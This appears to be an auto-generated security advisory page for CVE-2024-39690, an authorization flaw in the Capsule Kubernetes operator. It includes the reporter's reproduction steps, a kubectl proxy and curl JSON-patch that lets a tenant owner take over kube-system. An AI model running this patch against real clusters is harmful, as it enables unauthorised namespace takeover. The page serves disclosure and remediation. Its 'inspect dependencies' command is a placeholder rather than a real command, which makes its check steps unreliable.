CVE-2024-39690: Github.com/projectcapsule/capsule Capsule Tenant Owner With "patch Vulnerability

HIGH
Advisory Identifier: GHSA-mq69-4j5w-3qwp
CVSS 8.4
CWE-863
Published
Advisory Summary

CVE-2024-39690 is a HIGH (CVSS 8.4) capsule tenant owner with "patch vulnerability (CWE-863: Incorrect Authorization) affecting Github.com/projectcapsule/capsule libraries in the Go ecosystem. The issue involves capsule tenant owner with "patch namespace" permission can hijack system namespaces. Remediation is available by upgrading affected packages to version 0.7.1.

CVE-2024-39690 at a Glance

CVE Identifier CVE-2024-39690
GHSA Identifier GHSA-mq69-4j5w-3qwp
Severity HIGH
CVSS v3.1 Base Score 8.4
CWE Classification CWE-863: Incorrect Authorization
Affected Product Github.com/projectcapsule/capsule
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H).

Attack Vector Adjacent (AV:A)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2024-39690

To remediate this vulnerability, upgrade all affected Github.com/projectcapsule/capsule dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/projectcapsule/capsule fixed: 0.7.1
Upgrade github.com/projectcapsule/capsule to 0.7.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/projectcapsule/capsule

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-39690, inspect your project dependencies for Github.com/projectcapsule/capsule:

inspect dependencies for github.com/projectcapsule/capsule

Analyze the terminal output to locate any version of Github.com/projectcapsule/capsule in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.7.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In Github.com/projectcapsule/capsule, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Attack Vector Then, let me briefly explain the reasons for the errors mentioned above: 1. The 'kubectl edit' command was used to patch the namespace, but this operation requires both 'get' and 'patch' permissions, hence the error. One should use methods like 'curl' to directly send a PATCH request; 2. The webhook does not intercept patch operations on 'kube-system' because 'kube-system' does not have an ownerReference. # Below are my detailed reproduction steps 1. Create a test cluster `kind create cluster --image=kindest/node:v1.24.15 --name=k8s` 2. Install the capsule `helm install capsule projectcapsule/capsule -n capsule-system --create-namespace` 3. Create a tenant ``` kubectl create -f - << EOF apiVersion: capsule.clastix.io/v1beta2 kind: Tenant metadata: name: tenant1 spec: owners: - name: alice kind: User EOF ``` 4. Create user alice ``` ./create-user.sh alice tenant1 capsule.clastix.io export KUBECONFIG=alice-tenant1.kubeconfig ``` 5. Patch kube-system (The first command is executed in the current shell, while the 2nd and 3rd commands require a different shell window because the current shell is being used as a proxy.) ``` kubectl proxy export DATA='[{"op": "add", "path": "/metadata/ownerReferences", "value":[{"apiVersion": "capsule.clastix.io/v1beta2", "blockOwnerDeletion": true, "controller": true, "kind": "Tenant", "name": "tenant1", "uid": "ce3f2296-4aaa-45b0-a8fe-879d5096f193"}]}]' curl http://localhost:8001/api/v1/namespaces/kube-system/ -X PATCH -d "$DATA" -H "Content-Type: application/json-patch+json" ``` 7. Check the result The kube-system is patched successfully. ![image](https://github.com/projectcapsule/capsule/assets/151004196/e2775304-c1f4-494d-ab15-14f6f33e29ec) # Summary The tenant-owner can patch any arbitrary namespace that has not been taken over by a tenant (i.e., namespaces without the ownerReference field), thereby gaining control of that namespace. I would like to express my apologies once again. I have always been sincere in my research and communication, and I did not intend to disturb you on purpose.

CVE-2024-39690 Affected Github.com/projectcapsule/capsule Versions

1 component(s)
Fixed Versions:
0.7.1
Product / Package Ecosystem Affected Versions Fixed Version
github.com/projectcapsule/capsule
Go
< 0.7.1
0.7.1

References

Frequently Asked Questions

What is CVE-2024-39690?
CVE-2024-39690 is a security vulnerability in Github.com/projectcapsule/capsule involving Capsule tenant owner with "patch namespace" permission can hijack system namespaces under CWE-863: Incorrect Authorization.
Which Github.com/projectcapsule/capsule versions are affected?
Affected versions include releases prior to 0.7.1 across affected packages: github.com/projectcapsule/capsule.
What version fixes CVE-2024-39690?
Upgrading to 0.7.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/projectcapsule/capsule affected?
Yes, github.com/projectcapsule/capsule is affected in releases prior to 0.7.1. Upgrade your dependency to 0.7.1 or later.
What is the CVSS score of CVE-2024-39690?
CVE-2024-39690 has a CVSS v3.1 base score of 8.4 (HIGH) with vector string CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2024-39690?
CVE-2024-39690 is classified under CWE-863: Incorrect Authorization (The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.).
How can I check Go dependencies for CVE-2024-39690?
Run the dependency tree command: 'inspect dependencies for github.com/projectcapsule/capsule'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mq69-4j5w-3qwp",
  "modified" : "2025-08-14T13:32:09Z",
  "published" : "2024-08-20T18:34:37Z",
  "aliases" : [ "CVE-2024-39690" ],
  "summary" : "Capsule tenant owner with \"patch namespace\" permission can hijack system namespaces",
  "details" : "# Attack Vector\nThen, let me briefly explain the reasons for the errors mentioned above: 1. The 'kubectl edit' command was used to patch the namespace, but this operation requires both 'get' and 'patch' permissions, hence the error. One should use methods like 'curl' to directly send a PATCH request; 2. The webhook does not intercept patch operations on 'kube-system' because 'kube-system' does not have an ownerReference.\n\n# Below are my detailed reproduction steps\n1. Create a test cluster\n`kind create cluster --image=kindest/node:v1.24.15 --name=k8s`\n2. Install the capsule\n`helm install capsule projectcapsule/capsule -n capsule-system --create-namespace`\n3. Create a tenant\n```\nkubectl create -f - << EOF\napiVersion: capsule.clastix.io/v1beta2\nkind: Tenant\nmetadata:\n  name: tenant1\nspec:\n  owners:\n  - name: alice\n    kind: User\nEOF\n```\n4. Create user alice\n```\n./create-user.sh alice tenant1 capsule.clastix.io\nexport KUBECONFIG=alice-tenant1.kubeconfig\n```\n5. Patch kube-system (The first command is executed in the current shell, while the 2nd and 3rd commands require a different shell window because the current shell is being used as a proxy.)\n```\nkubectl proxy\n\nexport DATA='[{\"op\": \"add\", \"path\": \"/metadata/ownerReferences\", \"value\":[{\"apiVersion\": \"capsule.clastix.io/v1beta2\", \"blockOwnerDeletion\": true, \"controller\": true, \"kind\": \"Tenant\", \"name\": \"tenant1\", \"uid\": \"ce3f2296-4aaa-45b0-a8fe-879d5096f193\"}]}]'\n\ncurl http://localhost:8001/api/v1/namespaces/kube-system/ -X PATCH -d \"$DATA\" -H \"Content-Type: application/json-patch+json\"\n```\n7. Check the result\nThe kube-system is patched successfully.\n![image](https://github.com/projectcapsule/capsule/assets/151004196/e2775304-c1f4-494d-ab15-14f6f33e29ec)\n\n\n# Summary\nThe tenant-owner can patch any arbitrary namespace that has not been taken over by a tenant (i.e., namespaces without the ownerReference field), thereby gaining control of that namespace.\n\nI would like to express my apologies once again. I have always been sincere in my research and communication, and I did not intend to disturb you on purpose.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/projectcapsule/capsule"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.7.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.7.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/projectcapsule/capsule/security/advisories/GHSA-mq69-4j5w-3qwp"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-39690"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/projectcapsule/capsule/commit/d620b0457ddec01616b8eab8512a10611611f584"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/projectcapsule/capsule"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-08-20T18:34:37Z",
    "nvd_published_at" : "2024-08-20T15:15:21Z"
  }
}